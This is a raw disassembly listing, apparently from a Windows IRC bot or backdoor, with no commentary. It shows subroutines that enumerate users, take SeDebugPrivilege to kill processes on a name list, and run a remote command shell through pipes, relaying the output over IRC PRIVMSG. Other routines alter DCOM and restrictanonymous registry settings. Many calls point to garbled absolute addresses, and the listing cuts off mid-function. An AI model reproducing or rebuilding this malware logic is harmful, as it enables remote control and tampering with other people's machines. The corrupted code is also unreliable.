loc_41937F: ; CODE XREF: sub_4192DF+62j
; sub_4192DF+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940D
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FA
loc_419391: ; CODE XREF: sub_4192DF+EDj
cmp edi, esi
jz short loc_4193D0
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419391
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_4193D0: ; CODE XREF: sub_4192DF+B4j
lea eax, [ebp+var_218]
push offset unk_43932C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4193FA: ; CODE XREF: sub_4192DF+9Ej
; sub_4192DF+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940D
push edi
call dword_4CB004
xor edi, edi
mov [ebp+var_4], edi
loc_41940D: ; CODE XREF: sub_4192DF+A5j
; sub_4192DF+120j
cmp [ebp+var_C], 0EAh
jz loc_41931E
cmp edi, esi
jz short loc_419425
push edi
call dword_4CB004
loc_419425: ; CODE XREF: sub_4192DF+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192DF endp
; =============== S U B R O U T I N E =======================================
sub_41945F proc near ; CODE XREF: sub_418A98+41p
; sub_418C8E+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419511
jz loc_41950A
cmp eax, 7Bh
ja short loc_4194D6
jz short loc_4194CC
cmp eax, 5
jz short loc_4194C2
cmp eax, 8
jz short loc_4194B8
cmp eax, 32h
jz short loc_4194AE
cmp eax, 35h
jz short loc_4194A4
cmp eax, 57h
jnz loc_419560
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194A4: ; CODE XREF: sub_41945F+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194AE: ; CODE XREF: sub_41945F+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194B8: ; CODE XREF: sub_41945F+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194C2: ; CODE XREF: sub_41945F+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_41945F+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194D6: ; CODE XREF: sub_41945F+1Aj
sub eax, 7Ch
jz short loc_419503
sub eax, 7C8h
jz short loc_4194FC
dec eax
jz short loc_4194F2
dec eax
jnz short loc_419560
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194F2: ; CODE XREF: sub_41945F+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194FC: ; CODE XREF: sub_41945F+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419503: ; CODE XREF: sub_41945F+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41950A: ; CODE XREF: sub_41945F+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419511: ; CODE XREF: sub_41945F+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954A
jz short loc_419543
sub eax, 8ADh
jz short loc_419575
dec eax
dec eax
jz short loc_41953C
dec eax
jz short loc_419535
dec eax
dec eax
jnz short loc_419560
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419535: ; CODE XREF: sub_41945F+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41953C: ; CODE XREF: sub_41945F+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419543: ; CODE XREF: sub_41945F+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41954A: ; CODE XREF: sub_41945F+B9j
sub eax, 8CAh
jz short loc_41957C
sub eax, 17h
jz short loc_419575
sub eax, 25h
jz short loc_41956E
sub eax, 29h
jz short loc_419567
loc_419560: ; CODE XREF: sub_41945F+35j
; sub_41945F+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419567: ; CODE XREF: sub_41945F+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41956E: ; CODE XREF: sub_41945F+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419575: ; CODE XREF: sub_41945F+C2j
; sub_41945F+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41957C: ; CODE XREF: sub_41945F+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419581: ; CODE XREF: sub_41945F+40j
; sub_41945F+4Aj ...
push offset dword_4DAB90
call sub_41B886
pop ecx
mov eax, offset dword_4DAB90
pop ecx
retn
sub_41945F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419593 proc near ; CODE XREF: sub_401ACD+4781p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26B0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CAF84
test eax, eax
jnz short loc_419623
mov esi, offset dword_4DA98C
push offset unk_439694
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964C
; ---------------------------------------------------------------------------
loc_419623: ; CODE XREF: sub_419593+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41945F
pop ecx
mov esi, offset dword_4DA98C
push eax
push offset dword_439668
push esi
call sub_41B886
add esp, 14h
loc_41964C: ; CODE XREF: sub_419593+8Ej
mov eax, esi
pop esi
leave
retn
sub_419593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419651 proc near ; CODE XREF: sub_416F1A+45p
; sub_416F1A+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 27005E0h
push eax
call dword_4CAF58
test eax, eax
jnz short loc_419670
leave
retn
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_419651+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CAF30
test eax, eax
jz short loc_4196AE
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419697
or [ebp+var_8], 2
jmp short loc_41969B
; ---------------------------------------------------------------------------
loc_419697: ; CODE XREF: sub_419651+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969B: ; CODE XREF: sub_419651+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CAFE0
mov esi, eax
loc_4196AE: ; CODE XREF: sub_419651+32j
push [ebp+var_4]
call near ptr 265098Dh
nop
mov eax, esi
pop esi
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p
; sub_4198EB+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CAF94, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BB
cmp dword_4CAF78, ebx
jz loc_4198BB
cmp dword_4CAE88, ebx
jz loc_4198BB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CAF94
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AE
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CAF78
mov esi, dword_427068
test eax, eax
jz loc_4198A9
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CAE88
test eax, eax
jz loc_4198A9
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419780: ; CODE XREF: sub_4196BC+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E7
mov [ebp+var_4], offset off_4396C0
loc_41978E: ; CODE XREF: sub_4196BC+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 2821053h
test eax, eax
jz short loc_4197B6
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439720
jb short loc_41978E
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197B6: ; CODE XREF: sub_4196BC+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_41988F
push 0
push eax
nop
call near ptr 26F0AA8h
test eax, eax
jnz loc_41988F
loc_4197DD: ; CODE XREF: sub_4196BC+1B9j
push [ebp+var_4]
call esi
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197E7: ; CODE XREF: sub_4196BC+C9j
cmp [ebp+arg_C], eax
jnz loc_41987A
cmp [ebp+arg_4], eax
jz loc_41988F
push [ebp+var_128]
push 8
call dword_4CAF94
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983A
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CAE34
push [ebp+var_128]
test eax, eax
jz short loc_419840
lea eax, [ebp+var_234]
jmp short loc_419846
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4196BC+15Cj
push [ebp+var_128]
loc_419840: ; CODE XREF: sub_4196BC+174j
lea eax, [ebp+var_10C]
loc_419846: ; CODE XREF: sub_4196BC+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
jmp loc_4197DD
; ---------------------------------------------------------------------------
loc_41987A: ; CODE XREF: sub_4196BC+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C2
loc_41988F: ; CODE XREF: sub_4196BC+F5j
; sub_4196BC+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CAE88
test eax, eax
jnz loc_419780
xor ebx, ebx
loc_4198A9: ; CODE XREF: sub_4196BC+9Dj
; sub_4196BC+B3j
push [ebp+var_8]
call esi
loc_4198AE: ; CODE XREF: sub_4196BC+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
loc_4198BB: ; CODE XREF: sub_4196BC+3Aj
; sub_4196BC+46j ...
xor eax, eax
loc_4198BD: ; CODE XREF: sub_4196BC+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C2: ; CODE XREF: sub_4196BC+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
nop
call near ptr 26F0AA8h
test eax, eax
jnz short loc_4198E6
push edi
call esi
jmp short loc_4198BB
; ---------------------------------------------------------------------------
loc_4198E6: ; CODE XREF: sub_4196BC+223j
push 1
pop eax
jmp short loc_4198BD
sub_4196BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_4398C0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_41994A: ; CODE XREF: sub_4198EB+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BC
add esp, 18h
test eax, eax
jnz short loc_419972
push offset unk_43989C
jmp short loc_419977
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198EB+7Ej
push offset unk_439878
loc_419977: ; CODE XREF: sub_4198EB+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_4199AA: ; CODE XREF: sub_4198EB+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AC
push [ebp+var_14]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
sub_4198EB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p
; sub_40B231+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 267071Ch
mov esi, eax
test esi, esi
jz short loc_4199FB
push 0
push esi
nop
call near ptr 26F0AA8h
test eax, eax
jnz short loc_4199FB
push esi
xor edi, edi
call near ptr 265098Dh
nop
loc_4199FB: ; CODE XREF: sub_4199C9+1Aj
; sub_4199C9+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199C9 endp
; ---------------------------------------------------------------------------
dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h
; DATA XREF: ___:004015EEo
dd 4396BCh, 699DE890h, 0E3EB0225h
; =============== S U B R O U T I N E =======================================
sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap
; sub_419A88+7Ep ...
mov eax, dword_4DB1F8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A34
push eax
call esi
loc_419A34: ; CODE XREF: sub_419A20+Fj
mov eax, dword_4DB200
cmp eax, 0FFFFFFFFh
jz short loc_419A41
push eax
call esi
loc_419A41: ; CODE XREF: sub_419A20+1Cj
mov eax, dword_4DB1F4
cmp eax, 0FFFFFFFFh
jz short loc_419A4E
push eax
call esi
loc_419A4E: ; CODE XREF: sub_419A20+29j
pop esi
retn
sub_419A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB1FC
nop
call near ptr 26E0000h
test eax, eax
jnz short loc_419A83
call sub_419A20
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_419A50+28j
push 1
pop eax
leave
retn
sub_419A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p
; sub_419B0F+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D128
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACB
push 7D0h
call near ptr 26703BBh
nop
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE2
; ---------------------------------------------------------------------------
loc_419ACB: ; CODE XREF: sub_419A88+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE2: ; CODE XREF: sub_419A88+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
test eax, eax
jg short loc_419B0B
call sub_419A20
loc_419B0B: ; CODE XREF: sub_419A88+7Cj
xor eax, eax
leave
retn
sub_419A88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B0F proc near ; DATA XREF: sub_419C64+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB204
loc_419B27: ; CODE XREF: sub_419B0F+79j
; sub_419B0F+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB1F8
nop
call near ptr 282186Dh
test eax, eax
jz loc_419BF5
cmp [ebp+var_4], edi
jnz short loc_419B8A
lea eax, [ebp+var_8]
push eax
push dword_4DB1F4
nop
call near ptr 2821499h
test eax, eax
jz short loc_419B80
cmp [ebp+var_8], 103h
jnz loc_419C19
loc_419B80: ; CODE XREF: sub_419B0F+62j
push 0Ah
nop
call near ptr 26703BBh
jmp short loc_419B27
; ---------------------------------------------------------------------------
loc_419B8A: ; CODE XREF: sub_419B0F+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA1
loc_419B91: ; CODE XREF: sub_419B0F+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BEF
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B91
loc_419BA1: ; CODE XREF: sub_419B0F+80j
mov [ebp+var_4], esi
loc_419BA4: ; CODE XREF: sub_419B0F+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB1F8
call near ptr 26F0000h
nop
test eax, eax
jz short loc_419C41
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB238
call sub_419A88
add esp, 0Ch
jmp loc_419B27
; ---------------------------------------------------------------------------
loc_419BEF: ; CODE XREF: sub_419B0F+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA4
; ---------------------------------------------------------------------------
loc_419BF5: ; CODE XREF: sub_419B0F+45j
push offset unk_439948
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push 1
nop
call near ptr 26D0000h
loc_419C19: ; CODE XREF: sub_419B0F+6Bj
call sub_419A20
push offset unk_439920
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 26D0000h
loc_419C41: ; CODE XREF: sub_419B0F+C3j
push offset unk_4398F0
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
call near ptr 26D0000h
nop
sub_419B0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A20
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_43350C
push esi
call dword_4CB030
test eax, eax
jz loc_419D5E
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5E
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5E
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB1FC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 2700000h
test eax, eax
jz short loc_419D5E
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D128
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2660000h
nop
test eax, eax
jnz short loc_419D66
loc_419D5E: ; CODE XREF: sub_419C64+2Fj
; sub_419C64+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E14
; ---------------------------------------------------------------------------
loc_419D66: ; CODE XREF: sub_419C64+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB1F8, eax
mov eax, [ebp+var_8]
mov dword_4DB200, eax
mov eax, [ebp+var_2C]
mov dword_4DB1F4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB238, eax
jz short loc_419DA0
push [ebp+arg_4]
jmp short loc_419DA1
; ---------------------------------------------------------------------------
loc_419DA0: ; CODE XREF: sub_419C64+135j
push ebx
loc_419DA1: ; CODE XREF: sub_419C64+13Aj
push offset dword_4DB204
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_4399AC
call sub_40B0F6
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43DEB8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B0F
push esi
push esi
nop
call near ptr 267042Eh
cmp eax, esi
mov dword_43DEC4[edi], eax
jnz short loc_419E12
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_378]
push offset unk_439978
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AC
add esp, 10h
loc_419E12: ; CODE XREF: sub_419C64+185j
xor eax, eax
loc_419E14: ; CODE XREF: sub_419C64+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E60
call sub_419E79
jmp short loc_419E65
; ---------------------------------------------------------------------------
loc_419E60: ; CODE XREF: sub_419E19+3Ej
call sub_41A19D
loc_419E65: ; CODE XREF: sub_419E19+45j
add esp, 10h
push [ebp+var_14]
call sub_40B412
pop ecx
push 0
nop
call near ptr 26D0000h
sub_419E19 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E79 proc near ; CODE XREF: sub_419E19+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB044, edi
jnz loc_419FAB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419F04
mov ax, word_438724
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_419EE6
push offset dword_439C48
jmp short loc_419EEB
; ---------------------------------------------------------------------------
loc_419EE6: ; CODE XREF: sub_419E79+64j
push offset dword_439C28
loc_419EEB: ; CODE XREF: sub_419E79+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419F17
; ---------------------------------------------------------------------------
loc_419F04: ; CODE XREF: sub_419E79+36j
lea eax, [ebp+var_214]
push offset dword_439BF8
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F17: ; CODE XREF: sub_419E79+89j
cmp [ebp+arg_C], edi
jnz short loc_419F36
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419F36: ; CODE XREF: sub_419E79+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419FA4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CAF98
test eax, eax
jz short loc_419F86
push offset dword_439BA8
jmp short loc_419F8B
; ---------------------------------------------------------------------------
loc_419F86: ; CODE XREF: sub_419E79+104j
push offset dword_439B74
loc_419F8B: ; CODE XREF: sub_419E79+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419FBE
; ---------------------------------------------------------------------------
